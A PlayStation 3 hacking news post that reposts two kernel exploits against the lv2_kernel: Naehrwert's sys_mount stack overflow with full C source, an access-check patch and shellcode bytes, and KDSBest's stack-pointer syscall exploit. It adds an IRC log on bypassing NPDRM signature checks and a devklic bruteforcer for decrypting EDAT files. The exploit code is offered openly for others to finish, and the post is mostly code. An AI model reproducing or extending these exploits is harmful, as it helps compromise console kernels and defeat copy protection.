39w ago - Following up on his
PS3 SCETool update and
PS3 Dump_Rootkey code, today Sony PlayStation 3 hacker
Naehrwert has posted some details on exploiting the PlayStation 3 lv2_kernel and has made available a sample 3.41 implementation below.
To quote from his blog: Exploiting (?) lv2
A long while ago
KaKaRoTo pointed me to a stack overflow he found while reversing lv2_kernel. But there are two problems:
1. The vulnerability is in a protected syscall (the SELF calling it got to have the 0x40... control flags set). So you’d first need to find a suitable usermode exploit (don’t ask us), that gives you code execution with the right privileges.
2. The payload data is copied to lv2 heap first and the function will do a free call on it before the payload has any chance to get executed. This might not sound like a problem but it looks like lv2′s heap implementation will overwrite the free’ed space with 0xABADCAFE and thus destroy the payload.
Here (pastie.org/4755699) is my sample implementation for 3.41 lv2_kernel (although the vulnerability should be present in all versions of lv2 up to the latest firmware), maybe someone of you will find a way to overcome problem (2.) and can get something nice out of it because right now it’s only good to crash lv2.
/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/
#include <stdio.h>
#include <ppu-types.h>
#include <ppu-lv2.h>
/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,
u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,
(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
return_to_user_prog(s64);
}
//For testing.
static void patch_access_check()
{
//check_access @ 0x80000000000505D0
//li r3, 1 ; blr
lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
printf("[*] DEBUG: access check patched.\n");
}
int main(int argc, const char **argv)
{
//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
//Solution: Find a usermode exploit in a SELF that has them set.
//Patch the ctrl flags check for testing.
patch_access_check();
//Nop.
char nop[] = "X";
//Payload.
char payload[] =
{
//Insert valid PPC code here (without 0x00 bytes)
//and hope lv2 heap 0x27 is executable and 0x04 aligned.
0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110
0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16
0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32
0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134
0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown)
0x38, 0x60, 0x02, 0x10, //li r3, 0x210
0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot)
0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0
0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0
0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0
0x4E, 0x80, 0x04, 0x20, //bctr
//End of payload.
0x00
};
//List containing the entries.
//stack frame size is 0x1C0
//strlist = framptr + 0xE0
//remaining stack frame size is 0xE0 (28 * 8)
#define LIST_LENGTH (28 + 2 + 1)
const char *list[LIST_LENGTH] =
{
//-0xE0
//Overwrite stack with nop entries (0xE0 bytes).
nop, nop, nop, nop, nop, nop, nop, nop, //0x40
nop, nop, nop, nop, nop, nop, nop, nop, //0x80
nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
nop, nop, nop, nop,
//0x00
//Fill 0x10 bytes to reach saved r0.
nop, nop,
//+0x10
//Overwrite saved r0 with a pointer to our payload.
payload
};
//Doit!
printf("[*] Taking the plunge...\n");
s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);
return 0;
} From
Mathieulh (via pastebin.com/naxXkv3M):
Sep 04 13:16:42 <Mathieulh> I just posted one last thing
Sep 04 13:17:05 <Mathieulh> I dislike being called "king of liars" especially by someone who doesn't understand sht about ps3 self crypto
Sep 04 13:17:25 <Mathieulh> and yeah I said the truth
Sep 04 13:17:31 <Mathieulh> this footer signature
Sep 04 13:17:33 <Mathieulh> is not checked
Sep 04 13:17:35 <Mathieulh> even in 4.21
Sep 04 13:17:37 <Mathieulh> go figure
Sep 04 13:17:44 <Mathieulh> at least not upon npdrm self execution
Sep 04 13:17:59 <Mathieulh> I believe it is checked while the packages install
Sep 04 13:18:03 <Mathieulh> but that's something else
Sep 04 13:18:31 <Mathieulh> I don't even think it was called on 3.55 at all, (the function that does the stuff)
Sep 04 13:18:33 <Mathieulh> that's also wrong info
Sep 04 13:18:35 <Mathieulh> I gave kakaroto
Sep 04 13:18:40 <Mathieulh> over a week of work
Sep 04 13:18:48 <Mathieulh> with everything one would want to know
Sep 04 13:18:52 <Mathieulh> about self format
Sep 04 13:19:16 <Mathieulh> but he called it "useless" without revealing what I gave him
Sep 04 13:19:31 <Mathieulh> and he claimed how all of this was already public when most wasn't
Sep 04 13:19:47 <Mathieulh> he did all this along with his pamphlet in order to hide his incompetence
Sep 04 13:20:04 <Mathieulh> as he was "begging" me (literally) to get the extra info he needed to get his hack to work
Sep 04 13:20:09 <Mathieulh> and I told him to figure the rest himself
Sep 04 13:20:12 <Mathieulh> and he never could
Sep 04 13:20:19 <Mathieulh> figures
Sep 04 13:20:34 <Mathieulh> zecoxao, I gave him something he needed
Sep 04 13:20:42 <Mathieulh> but he wanted me to supply ALL the work
Sep 04 13:20:48 <Mathieulh> and I wasn't ok with that
Sep 04 13:20:58 <Mathieulh> the more I gave him
Sep 04 13:21:00 <Mathieulh> the more he asked
Sep 04 13:21:32 <Mathieulh> but yeah
Sep 04 13:22:03 <Mathieulh> if you can actually resign lv0, and put your own keyset in appldr on 4.21
Sep 04 13:22:16 <Mathieulh> and set your own keyset to something higher than 0x0D
Sep 04 13:22:35 <Mathieulh> and build a complying npdrm that has all the new values appldr checks, WITHOUT the so called footer
Sep 04 13:22:37 <Mathieulh> and run it
Sep 04 13:22:41 <Mathieulh> it runs just fine...
Sep 04 13:22:51 <Mathieulh> (yes, I did test this)
Sep 04 13:23:18 <Mathieulh> they do whitelist anything older than keyset 0x0D now for npdrm too
Sep 04 13:23:32 <Mathieulh> so crafting npdrms for 4.21 would not work on ofw now
Sep 04 13:23:38 <Mathieulh> but that stupid footer
Sep 04 13:23:47 <Mathieulh> which he claims is why whatever I told him was BS
Sep 04 13:23:54 <Mathieulh> is STILL NOT CHECKED
Sep 04 13:24:22 <Mathieulh> Kraparoto banned me from all the chans he is op as soon as I exposed him
Sep 04 13:24:27 <Mathieulh> how mature of him eh ?
Sep 04 13:25:22 <Mathieulh> so not only he is an incompetent whining kid, but he also totally lacks maturity
Sep 04 13:25:28 <Mathieulh> so I am done with the stupid drama
Sep 04 13:25:32 <Mathieulh> or talking to him
The footer signature is still not checked upon npdrm self files execution as of 4.21.
Because kakaroto says something that doesn't make it true. Basically he found a check in 3.55 that was not even called and assumed they used it in 3.60+.
Of course they do whitelist npdrm now so even if the footer isn't checked you cannot run your own npdrm selfs signed with keyset lower than 0x0D making the whole debate rather pointless. Aditional checks are now performed on the actual file format as well such as the segment counter flag that needs to be set to 0x01 except for the very last segment.
Finally, from
KDSBest (via twitlonger.com/show/jcmh80): Since naehrwert posted an lv2 exploit I will do so too
. The stack pointer points to lv2 and if we do a syscall, the syscall saves register to the stack HAHA.
Btw. It just crashes the console for now, since I totally overwrite dump the lv2 or some memory addresses I don't know. Feel free to try around, adjust the address of the stackpointer and so on. If you managed to get the panic payload executed. Tell me!!! ^^
//compile: ppu-gcc kds2.c -o kds2.elf
//or: ppu-lv2-gcc kds2.c -o kds2.elf
register unsigned long long payloadHolder2 asm ("r21");
register unsigned long long payloadHolder asm ("r20");
register unsigned long long stackpointer asm ("r1");
register unsigned long long counter asm ("r25");
register unsigned long long bufferStackpointer asm ("r26");
int __volatile__ main(int argc, const char* argv[])
{
// backup Stack pointer
bufferStackpointer = stackpointer;
payloadHolder = 0x3960024F3960024FUL;
payloadHolder2 = 0x4400000244000002UL;
// Incrementer
counter = 0x00;
// Play with that address till the panic is executed, I lack of time todo so
// add always 2 or 4 to it, i would try 4 or 8... bla bla you will get the idea
stackpointer = 0x8000000000000100UL;
doItAgain:
// KDSBest Payload
// Prepare for our Syscall
asm("li %r0, 0x0");
asm("li %r3, 0x6");
asm("li %r4, 0x1");
// li r11, 0x24F -> PANIC
asm("mr %r22, %r20");
asm("mr %r23, %r20");
asm("mr %r24, %r20");
asm("mr %r27, %r20");
asm("mr %r28, %r20");
asm("mr %r29, %r20");
asm("mr %r30, %r20");
asm("mr %r31, %r20");
// Stack Pointer = Build Address of LV2
stackpointer += counter;
// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;
// We write sc
asm("mr %r22, %r21");
asm("mr %r23, %r21");
asm("mr %r24, %r21");
asm("mr %r27, %r21");
asm("mr %r28, %r21");
asm("mr %r29, %r21");
asm("mr %r30, %r21");
asm("mr %r31, %r21");
// Stack Pointer = Build Address of LV2
stackpointer += counter;
// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;
if(counter < 0x1000000)
goto doItAgain;
stackpointer = bufferStackpointer;
return 0;
} I didn't managed to make it work on 4.21 so I just did on 4.20
could someone re upload the eu version please?...
Here are 2 tips to find the dev_klic even faster:
1- First try to bruteforce the edat against the list of known: ps3tools.aldostools.org/dev_klics.txt
devklic_bruteforcer.exe edat.edat dev_klics.txt
2- If the key is not found above, open the eboot.bin with scetool and show the info. Then open the ELF with HxD and cut from the offset 0 to the offset of the 3rd section.
Usually this will reduce the "devklic source file" (elf) to about a 50% or less of the original size, saving a lot of time.
Download: http://rghost.net/46717474 / http://rghost.net/46718761 / http://rghost.net/46742139
To quote: This tool is used to bruteforce devklic for edat files on pc. It supports bruteforcing from binary or text files. It only take minutes to bruteforce in an elf file, no more waiting for hours or days.
This tool is based on BuC's EDAT Devklic Validator, all credit to BuC.
Update to v1.1
• Fix a bug while bruteforce in text file.
If you meet some issue, please feedback. Thx.
Update to v1.2
Add 2 Modes:
• Short Mode: Run only 4 rounds for binary source file. This mode doesn't try all the contents from source file. But it is enough in most cases.
• Line Mode: Run only 1 round for text source file. This mode reads first 32 bytes in each line as devklic. It runs extremely fast for formatted text source file.
More PlayStation 3 News...